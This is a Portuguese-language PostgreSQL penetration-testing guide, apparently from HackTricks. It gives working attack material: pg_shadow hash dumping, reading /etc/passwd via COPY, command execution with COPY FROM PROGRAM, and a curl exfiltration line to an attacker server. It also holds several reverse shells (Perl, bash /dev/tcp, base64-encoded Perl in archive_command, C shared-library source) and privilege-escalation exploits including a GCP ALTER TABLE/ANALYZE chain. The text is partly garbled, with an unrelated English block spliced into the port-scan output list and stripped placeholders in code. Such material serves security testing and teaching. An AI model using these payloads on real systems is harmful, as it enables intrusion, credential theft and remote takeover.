# 5432,5433 - Teste de penetração no PostgreSQL
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## **Informações Básicas** O **PostgreSQL** é descrito como um **sistema de banco de dados objeto-relacional** que é **open source**. Este sistema não apenas utiliza a linguagem SQL, mas também a aprimora com recursos adicionais. Suas capacidades permitem lidar com uma ampla variedade de tipos de dados e operações, tornando-o uma escolha versátil para desenvolvedores e organizações. **Porta padrão:** 5432 e, se esta porta já estiver em uso, parece que o PostgreSQL usará a próxima porta (5433 provavelmente) que não está em uso. ``` PORT STATE SERVICE 5432/tcp open pgsql ``` ## Conectar & Enumeração Básica ```bash psql -U # Open psql console with user psql -h -U -d # Remote connection psql -h -p -U -W # Remote connection ``` ```sql psql -h localhost -d -U #Password will be prompted \list # List databases \c # use the database \d # List tables \du+ # Get users roles # Get current user SELECT user; # Get current database SELECT current_catalog; # List schemas SELECT schema_name,schema_owner FROM information_schema.schemata; \dn+ #List databases SELECT datname FROM pg_database; #Read credentials (usernames + pwd hash) SELECT usename, passwd from pg_shadow; # Get languages SELECT lanname,lanacl FROM pg_language; # Show installed extensions SHOW rds.extensions; SELECT * FROM pg_extension; # Get history of commands executed \s ``` {% hint style="warning" %} Se ao executar **`\list`** você encontrar um banco de dados chamado **`rdsadmin`**, você saberá que está dentro de um **banco de dados PostgreSQL da AWS**. {% endhint %} Para mais informações sobre **como abusar de um banco de dados PostgreSQL**, confira: {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} [postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/) {% endcontent-ref %} ## Enumeração Automática ``` msf> use auxiliary/scanner/postgres/postgres_version msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection ``` ### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql) ### **Varredura de porta** De acordo com [**esta pesquisa**](https://www.exploit-db.com/papers/13084), quando uma tentativa de conexão falha, `dblink` lança uma exceção `sqlclient_unable_to_establish_sqlconnection` incluindo uma explicação do erro. Exemplos desses detalhes estão listados abaixo. ```sql SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 user=name password=secret dbname=abc connect_timeout=10'); ``` * O host está inativo `DETALHE: não foi possível conectar ao servidor: Sem rota para o host O servidor está em execução no host "1.2.3.4" e aceitando conexões TCP/IP na porta 5678?` * A porta está fechada ``` DETAIL: could not connect to server: Connection refused Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` * A porta está aberta ``` DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request ``` # Pentesting PostgreSQL ## Enumerating Databases To list all databases on the PostgreSQL server, you can use the following SQL query: ```sql SELECT datname FROM pg_database; ``` ## Enumerating Users To list all users on the PostgreSQL server, you can use the following SQL query: ```sql SELECT usename FROM pg_user; ``` ## Extracting Version Information To extract version information from the PostgreSQL server, you can use the following SQL query: ```sql SELECT version(); ``` ## Extracting Password Hashes To extract password hashes from the PostgreSQL server, you can use the following SQL query: ```sql SELECT usename, passwd FROM pg_shadow; ``` ## Extracting Configuration Information To extract configuration information from the PostgreSQL server, you can use the following SQL query: ```sql SHOW config_file; SHOW data_directory; SHOW hba_file; SHOW ident_file; ``` ## Executing Operating System Commands To execute operating system commands from the PostgreSQL server, you can use the following SQL query: ```sql CREATE LANGUAGE plpythonu; CREATE FUNCTION exec(text) RETURNS text AS $$ import os return os.popen($1).read() $$ LANGUAGE plpythonu; SELECT exec('command'); ``` ## Privilege Escalation To escalate privileges on the PostgreSQL server, you can look for misconfigurations, weak passwords, or vulnerabilities in the PostgreSQL version running. ``` DETAIL: FATAL: password authentication failed for user "name" ``` * A porta está aberta ou filtrada ``` DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` Em funções PL/pgSQL, atualmente não é possível obter detalhes de exceção. No entanto, se você tiver acesso direto ao servidor PostgreSQL, poderá recuperar as informações necessárias. Se extrair nomes de usuário e senhas das tabelas do sistema não for viável, você pode considerar utilizar o método de ataque de lista de palavras discutido na seção anterior, pois isso poderia potencialmente produzir resultados positivos. ## Enumeração de Privilégios ### Funções | Tipos de Função | | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | rolsuper | Função tem privilégios de superusuário | | rolinherit | Função herda automaticamente os privilégios das funções das quais é membro | | rolcreaterole | Função pode criar mais funções | | rolcreatedb | Função pode criar bancos de dados | | rolcanlogin | Função pode fazer login. Ou seja, essa função pode ser dada como identificador de autorização de sessão inicial | | rolreplication | Função é uma função de replicação. Uma função de replicação pode iniciar conexões de replicação e criar e excluir slots de replicação. | | rolconnlimit | Para funções que podem fazer login, isso define o número máximo de conexões simultâneas que essa função pode fazer. -1 significa sem limite. | | rolpassword | Não a senha (sempre lê como `********`) | | rolvaliduntil | Tempo de expiração da senha (usado apenas para autenticação de senha); nulo se não houver expiração | | rolbypassrls | Função ignora todas as políticas de segurança de nível de linha, consulte [Seção 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para mais informações. | | rolconfig | Padrões específicos da função para variáveis de configuração em tempo de execução | | oid | ID da função | #### Grupos Interessantes * Se você é membro de **`pg_execute_server_program`** você pode **executar** programas * Se você é membro de **`pg_read_server_files`** você pode **ler** arquivos * Se você é membro de **`pg_write_server_files`** você pode **escrever** arquivos {% hint style="info" %} Observe que no Postgres um **usuário**, um **grupo** e uma **função** são o **mesmo**. Isso depende apenas de **como você o utiliza** e se você **permite o login**. {% endhint %} ```sql # Get users roles \du #Get users roles & groups # r.rolpassword # r.rolconfig, SELECT r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolbypassrls, r.rolconnlimit, r.rolvaliduntil, r.oid, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) as memberof , r.rolreplication FROM pg_catalog.pg_roles r ORDER BY 1; # Check if current user is superiser ## If response is "on" then true, if "off" then false SELECT current_setting('is_superuser'); # Try to grant access to groups ## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section) GRANT pg_execute_server_program TO "username"; GRANT pg_read_server_files TO "username"; GRANT pg_write_server_files TO "username"; ## You will probably get this error: ## Cannot GRANT on the "pg_write_server_files" role without being a member of the role. # Create new role (user) as member of a role (group) CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files; ## Common error ## Cannot GRANT on the "pg_read_server_files" role without being a member of the role. ``` ### Tabelas ```sql # Get owners of tables select schemaname,tablename,tableowner from pg_tables; ## Get tables where user is owner select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres'; # Get your permissions over tables SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants; #Check users privileges over a table (pg_shadow on this example) ## If nothing, you don't have any permission SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow'; ``` ### Funções ```sql # Interesting functions are inside pg_catalog \df * #Get all \df *pg_ls* #Get by substring \df+ pg_read_binary_file #Check who has access # Get all functions of a schema \df pg_catalog.* # Get all functions of a schema (pg_catalog in this case) SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position FROM information_schema.routines LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name WHERE routines.specific_schema='pg_catalog' ORDER BY routines.routine_name, parameters.ordinal_position; # Another aparent option SELECT * FROM pg_proc; ``` ## Ações no sistema de arquivos ### Ler diretórios e arquivos A partir deste [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) membros do grupo definido **`DEFAULT_ROLE_READ_SERVER_FILES`** (chamado **`pg_read_server_files`**) e **super usuários** podem usar o método **`COPY`** em qualquer caminho (verifique `convert_and_check_filename` em `genfile.c`): ```sql # Read file CREATE TABLE demo(t text); COPY demo from '/etc/passwd'; SELECT * FROM demo; ``` {% hint style="warning" %} Lembre-se de que se você não é um super usuário, mas tem permissões **CREATEROLE**, você pode **se tornar membro desse grupo:** ```sql GRANT pg_read_server_files TO username; ``` [**Mais informações.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} Existem **outras funções do postgres** que podem ser usadas para **ler arquivos ou listar um diretório**. Apenas **superusuários** e **usuários com permissões explícitas** podem usá-las: ```sql # Before executing these function go to the postgres DB (not in the template1) \c postgres ## If you don't do this, you might get "permission denied" error even if you have permission select * from pg_ls_dir('/tmp'); select * from pg_read_file('/etc/passwd', 0, 1000000); select * from pg_read_binary_file('/etc/passwd'); # Check who has permissions \df+ pg_ls_dir \df+ pg_read_file \df+ pg_read_binary_file # Try to grant permissions GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username; # By default you can only access files in the datadirectory SHOW data_directory; # But if you are a member of the group pg_read_server_files # You can access any file, anywhere GRANT pg_read_server_files TO username; # Check CREATEROLE privilege escalation ``` Pode encontrar **mais funções** em [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html) ### Escrita Simples de Arquivo Apenas **super usuários** e membros de **`pg_write_server_files`** podem usar a cópia para escrever arquivos. ```sql copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` {% endcode %} {% hint style="warning" %} Lembre-se de que se você não é um super usuário, mas tem permissões **`CREATEROLE`**, você pode **se tornar membro desse grupo:** ```sql GRANT pg_write_server_files TO username; ``` [**Mais informações.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} Lembre-se de que o COPY não pode lidar com caracteres de nova linha, portanto, mesmo se você estiver usando um payload em base64, **você precisa enviar em uma linha**.\ Uma limitação muito importante dessa técnica é que **`copy` não pode ser usado para escrever arquivos binários, pois modifica alguns valores binários.** ### **Upload de arquivos binários** No entanto, existem **outras técnicas para fazer upload de grandes arquivos binários:** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} [big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md) {% endcontent-ref %} ## **Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**! {% embed url="https://go.intigriti.com/hacktricks" %} ### Atualizando dados da tabela PostgreSQL via gravação de arquivo local Se você tiver as permissões necessárias para ler e escrever arquivos do servidor PostgreSQL, você pode atualizar qualquer tabela no servidor sobrescrevendo o nó de arquivo associado no [diretório de dados do PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). Mais sobre essa técnica [aqui](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). Passos necessários: 1. Obter o diretório de dados do PostgreSQL ```sql SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` **Observação:** Se você não conseguir recuperar o caminho do diretório de dados atual das configurações, você pode consultar a versão principal do PostgreSQL por meio da consulta `SELECT version()` e tentar forçar o caminho. Os caminhos comuns de diretório de dados em instalações Unix do PostgreSQL são `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Um nome de cluster comum é `main`. 2. Obter um caminho relativo para o nó de arquivo, associado à tabela de destino ```sql SELECT pg_relation_filepath('{NOME_DA_TABELA}') ``` Esta consulta deve retornar algo como `base/3/1337`. O caminho completo no disco será `$DATA_DIRECTORY/base/3/1337`, ou seja, `/var/lib/postgresql/13/main/base/3/1337`. 3. Baixar o nó de arquivo por meio das funções `lo_*` ```sql SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337) ``` 4. Obter o tipo de dados, associado à tabela de destino ```sql SELECT STRING_AGG( CONCAT_WS( ',', attname, typname, attlen, attalign ), ';' ) FROM pg_attribute JOIN pg_type ON pg_attribute.atttypid = pg_type.oid JOIN pg_class ON pg_attribute.attrelid = pg_class.oid WHERE pg_class.relname = '{NOME_DA_TABELA}'; ``` 5. Use o [Editor de Nó de Arquivo do PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) para [editar o nó de arquivo](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); defina todos os indicadores booleanos `rol*` como 1 para permissões completas. ```bash python3 postgresql_filenode_editor.py -f {NÓ_DE_ARQUIVO} --datatype-csv {CSV_DE_TIPO_DE_DADOS_DO_PASSO_4} -m update -p 0 -i ITEM_ID --csv-data {DADOS_CSV} ``` ![Demonstração do Editor de Nó de Arquivo do PostgreSQL](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) 7. Reenvie o nó de arquivo editado por meio das funções `lo_*` e sobrescreva o arquivo original no disco ```sql SELECT lo_from_bytea(13338,decode('{NÓ_DE_ARQUIVO_EDITADO_ENCODED_BASE64}','base64')) SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}') ``` 8. *(Opcional)* Limpe o cache da tabela em memória executando uma consulta SQL cara ```sql SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ``` 9. Agora você deve ver os valores da tabela atualizados no PostgreSQL. Você também pode se tornar um superadmin editando a tabela `pg_authid`. **Veja [a seguinte seção](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)**. ## RCE ### **RCE para programa** Desde a [versão 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), apenas **super usuários** e membros do grupo **`pg_execute_server_program`** podem usar o copy para RCE (exemplo com exfiltração: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` Exemplo de execução: ```bash #PoC DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec; #Reverse shell #Notice that in order to scape a single quote you need to put 2 single quotes COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; ``` {% hint style="warning" %} Lembre-se de que se você não é um super usuário, mas tem permissões **`CREATEROLE`**, você pode **se tornar membro desse grupo:** ```sql GRANT pg_execute_server_program TO username; ``` [**Mais informações.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} Ou utilize o módulo `multi/postgres/postgres_copy_from_program_cmd_exec` do **metasploit**.\ Mais informações sobre essa vulnerabilidade [**aqui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Enquanto reportado como CVE-2019-9193, o Postges declarou que isso era um [recurso e não será corrigido](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### RCE com Linguagens do PostgreSQL {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} [rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md) {% endcontent-ref %} ### RCE com Extensões do PostgreSQL Uma vez que você tenha **aprendido** com o post anterior **como fazer upload de arquivos binários**, você pode tentar obter **RCE fazendo upload de uma extensão do postgresql e carregando-a**. {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} [rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md) {% endcontent-ref %} ### RCE com arquivo de configuração do PostgreSQL {% hint style="info" %} Os seguintes vetores de RCE são especialmente úteis em contextos de SQLi restritos, pois todas as etapas podem ser realizadas por meio de declarações SELECT aninhadas {% endhint %} O **arquivo de configuração** do PostgreSQL é **gravável** pelo **usuário postgres**, que é o que executa o banco de dados, então como **superusuário**, você pode escrever arquivos no sistema de arquivos e, portanto, pode **sobrescrever este arquivo.** ![](<../.gitbook/assets/image (303).png>) #### **RCE com ssl\_passphrase\_command** Mais informações [sobre essa técnica aqui](https://pulsesecurity.co.nz/articles/postgres-sqli). O arquivo de configuração possui alguns atributos interessantes que podem levar a RCE: - `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Caminho para a chave privada do banco de dados - `ssl_passphrase_command = ''` Se o arquivo privado é protegido por senha (criptografado), o postgresql irá **executar o comando indicado neste atributo**. - `ssl_passphrase_command_supports_reload = off` **Se** este atributo estiver **ligado**, o **comando** executado se a chave for protegida por senha **será executado** quando `pg_reload_conf()` for **executado**. Então, um atacante precisará: 1. **Extrair a chave privada** do servidor 2. **Criptografar** a chave privada baixada: 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **Sobrescrever** 4. **Extrair** a **configuração** atual do postgresql 5. **Sobrescrever** a **configuração** com a configuração dos atributos mencionados: 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` 6. Executar `pg_reload_conf()` Ao testar isso, notei que isso só funcionará se o **arquivo de chave privada tiver privilégios 640**, for **propriedade de root** e do **grupo ssl-cert ou postgres** (para que o usuário postgres possa lê-lo) e estiver localizado em _/var/lib/postgresql/12/main_. #### **RCE com archive\_command** **Mais** [**informações sobre essa configuração e sobre WAL aqui**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.** Outro atributo no arquivo de configuração que é explorável é `archive_command`. Para que isso funcione, a configuração `archive_mode` deve ser `'on'` ou `'always'`. Se isso for verdade, então poderíamos sobrescrever o comando em `archive_command` e forçá-lo a ser executado por meio das operações de WAL (write-ahead logging). Os passos gerais são: 1. Verificar se o modo de arquivamento está ativado: `SELECT current_setting('archive_mode')` 2. Sobrescrever `archive_command` com o payload. Por exemplo, um shell reverso: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` 3. Recarregar a configuração: `SELECT pg_reload_conf()` 4. Forçar a operação de WAL a ser executada, o que chamará o comando de arquivamento: `SELECT pg_switch_wal()` ou `SELECT pg_switch_xlog()` para algumas versões do Postgres #### **RCE com bibliotecas de pré-carregamento** Mais informações [sobre essa técnica aqui](https://adeadfed.com/posts/postgresql-select-only-rce/). Este vetor de ataque aproveita as seguintes variáveis de configuração: - `session_preload_libraries` -- bibliotecas que serão carregadas pelo servidor PostgreSQL na conexão do cliente. - `dynamic_library_path` -- lista de diretórios onde o servidor PostgreSQL procurará as bibliotecas. Podemos definir o valor de `dynamic_library_path` para um diretório gravável pelo usuário `postgres` que executa o banco de dados, por exemplo, o diretório `/tmp/`, e fazer upload de um objeto malicioso `.so` lá. Em seguida, forçaremos o servidor PostgreSQL a carregar nossa nova biblioteca enviando-a para a variável `session_preload_libraries`. Os passos do ataque são: 1. Baixar o `postgresql.conf` original 2. Incluir o diretório `/tmp/` no valor de `dynamic_library_path`, por exemplo, `dynamic_library_path = '/tmp:$libdir'` 3. Incluir o nome da biblioteca maliciosa no valor de `session_preload_libraries`, por exemplo, `session_preload_libraries = 'payload.so'` 4. Verificar a versão principal do PostgreSQL por meio da consulta `SELECT version()` 5. Compilar o código da biblioteca maliciosa com o pacote de desenvolvimento correto do PostgreSQL Código de exemplo: ```c #include #include #include #include #include #include #include #include "postgres.h" #include "fmgr.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif void _init() { /* código retirado de https://www.revshells.com/ */ int port = REVSHELL_PORT; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP"); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"/bin/bash", NULL}; execve("/bin/bash", argv, NULL); } ``` Compilando o código: ```bash gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c ``` 6. Fazer upload do `postgresql.conf` malicioso, criado nos passos 2-3, e sobrescrever o original 7. Fazer upload do `payload.so` do passo 5 para o diretório `/tmp` 8. Recarregar a configuração do servidor reiniciando o servidor ou invocando a consulta `SELECT pg_reload_conf()` 9. Na próxima conexão do banco de dados, você receberá a conexão do shell reverso. ## **Elevação de Privilégios no Postgres** ### Elevação de Privilégios CREATEROLE #### **Conceder** De acordo com a [**documentação**](https://www.postgresql.org/docs/13/sql-grant.html): _Funções com o privilégio **`CREATEROLE`** podem **conceder ou revogar a associação a qualquer função** que **não** seja um **superusuário**._ Portanto, se você tiver permissão de **`CREATEROLE`**, poderá conceder a si mesmo acesso a outras **funções** (que não sejam superusuários) que podem permitir a leitura e escrita de arquivos e a execução de comandos: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; # Access to read files GRANT pg_read_server_files TO username; # Access to write files GRANT pg_write_server_files TO username; ``` #### Modificar Senha Usuários com essa função também podem **alterar** as **senhas** de outros **não-superusuários**: ```sql #Change password ALTER USER user_name WITH PASSWORD 'new_password'; ``` #### Elevação para SUPERUSER É bastante comum encontrar que **usuários locais podem fazer login no PostgreSQL sem fornecer nenhuma senha**. Portanto, uma vez que você tenha obtido **permissões para executar código**, você pode abusar dessas permissões para obter a função de **`SUPERUSER`**: ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` {% hint style="info" %} Isso geralmente é possível por causa das seguintes linhas no arquivo **`pg_hba.conf`**: ```bash # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust ``` {% endhint %} ### **ALTER TABLE privesc** Neste [**artigo**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) é explicado como foi possível fazer **privesc** no Postgres GCP abusando do privilégio ALTER TABLE que foi concedido ao usuário. Quando você tenta **tornar outro usuário proprietário de uma tabela**, você deveria receber um **erro** impedindo isso, mas aparentemente o GCP deu essa **opção ao usuário postgres não-superusuário** no GCP:
Unindo essa ideia com o fato de que quando os comandos **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) são executados em uma **tabela com uma função de índice**, a **função** é **chamada** como parte do comando com as **permissões do proprietário da tabela**. É possível criar um índice com uma função e dar permissões de proprietário a um **superusuário** sobre essa tabela e, em seguida, executar ANALYZE sobre a tabela com a função maliciosa que será capaz de executar comandos porque está usando as permissões do proprietário. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, save_sec_context | SECURITY_RESTRICTED_OPERATION); ``` #### Exploração 1. Comece criando uma nova tabela. 2. Insira algum conteúdo irrelevante na tabela para fornecer dados para a função de índice. 3. Desenvolva uma função de índice maliciosa que contenha um payload de execução de código, permitindo a execução de comandos não autorizados. 4. ALTERE o proprietário da tabela para "cloudsqladmin," que é a função de superusuário exclusivamente usada pelo Cloud SQL do GCP para gerenciar e manter o banco de dados. 5. Execute uma operação ANALYZE na tabela. Essa ação faz com que o mecanismo do PostgreSQL mude para o contexto do usuário do proprietário da tabela, "cloudsqladmin." Consequentemente, a função de índice maliciosa é chamada com as permissões de "cloudsqladmin," permitindo a execução do comando de shell previamente não autorizado. ```sql CREATE TABLE temp_table (data text); CREATE TABLE shell_commands_results (data text); INSERT INTO temp_table VALUES ('dummy content'); /* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql IMMUTABLE AS 'select ''nothing'';'; CREATE INDEX index_malicious ON public.temp_table (suid_function(data)); ALTER TABLE temp_table OWNER TO cloudsqladmin; /* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';'; ANALYZE public.temp_table; ``` Então, a tabela `shell_commands_results` conterá a saída do código executado: ``` uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` ### Login Local Algumas instâncias mal configuradas do postgresql podem permitir o login de qualquer usuário local, é possível fazer login local a partir de 127.0.0.1 usando a função **`dblink`**: ```sql \du * # Get Users \l # Get databases SELECT * FROM dblink('host=127.0.0.1 port=5432 user=someuser password=supersecret dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` {% hint style="warning" %} Note que, para a consulta anterior funcionar, **a função `dblink` precisa existir**. Se não existir, você pode tentar criá-la com ```sql CREATE EXTENSION dblink; ``` {% endhint %} Se você tiver a senha de um usuário com mais privilégios, mas o usuário não tem permissão para fazer login a partir de um IP externo, você pode usar a seguinte função para executar consultas como esse usuário: ```sql SELECT * FROM dblink('host=127.0.0.1 user=someuser dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` É possível verificar se essa função existe com: ```sql SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### Função definida pelo usuário com SECURITY DEFINER [Neste artigo](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), os pentesters conseguiram obter privilégios elevados dentro de uma instância do postgres fornecida pela IBM, porque eles **encontraram esta função com a flag SECURITY DEFINER**:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
Como [explicado na documentação](https://www.postgresql.org/docs/current/sql-createfunction.html), uma função com **SECURITY DEFINER é executada** com os privilégios do **usuário que a possui**. Portanto, se a função for **vulnerável a Injeção de SQL** ou estiver realizando **ações privilegiadas com parâmetros controlados pelo atacante**, ela poderá ser abusada para **elevar privilégios dentro do postgres**. Na linha 4 do código anterior, você pode ver que a função possui a flag **SECURITY DEFINER**. ```sql CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); ``` E então **executar comandos**:
### Realizar Brute Force com PL/pgSQL **PL/pgSQL** é uma **linguagem de programação completa** que oferece maior controle procedural em comparação com o SQL. Ele permite o uso de **loops** e outras **estruturas de controle** para aprimorar a lógica do programa. Além disso, **declarações SQL** e **triggers** têm a capacidade de invocar funções criadas usando a **linguagem PL/pgSQL**. Essa integração permite uma abordagem mais abrangente e versátil para programação e automação de banco de dados.\ **Você pode abusar dessa linguagem para solicitar ao PostgreSQL que faça força bruta nas credenciais dos usuários.** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} [pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md) {% endcontent-ref %} ### Elevação de Privilégios ao Sobrescrever Tabelas Internas do PostgreSQL {% hint style="info" %} O seguinte vetor de elevação de privilégios é especialmente útil em contextos de SQLi restritos, pois todos os passos podem ser realizados por meio de declarações SELECT aninhadas {% endhint %} Se você pode **ler e escrever em arquivos do servidor PostgreSQL**, você pode **se tornar um superusuário** ao sobrescrever o filenode em disco do PostgreSQL, associado à tabela interna `pg_authid`. Leia mais sobre essa técnica [aqui](https://adeadfed.com/posts/updating-postgresql-data-without-update/). Os passos do ataque são: 1. Obter o diretório de dados do PostgreSQL 2. Obter um caminho relativo para o filenode, associado à tabela `pg_authid` 3. Baixar o filenode por meio das funções `lo_*` 4. Obter o tipo de dados associado à tabela `pg_authid` 5. Usar o [Editor de Filenode do PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) para [editar o filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); definir todas as flags booleanas `rol*` como 1 para permissões completas. 7. Reenviar o filenode editado por meio das funções `lo_*` e sobrescrever o arquivo original no disco 8. *(Opcional)* Limpar o cache da tabela em memória executando uma consulta SQL cara 9. Agora você deve ter os privilégios de um superadministrador completo. ## **POST** ``` msf> use auxiliary/scanner/postgres/postgres_hashdump msf> use auxiliary/scanner/postgres/postgres_schemadump msf> use auxiliary/admin/postgres/postgres_readfile msf> use exploit/linux/postgres/postgres_payload msf> use exploit/windows/postgres/postgres_payload ``` ### registro Dentro do arquivo _**postgresql.conf**_ você pode habilitar os logs do postgresql alterando: ```bash log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' logging_collector = on sudo service postgresql restart #Find the logs in /var/lib/postgresql//main/log/ #or in /var/lib/postgresql//main/pg_log/ ``` Então, **reinicie o serviço**. ### pgadmin 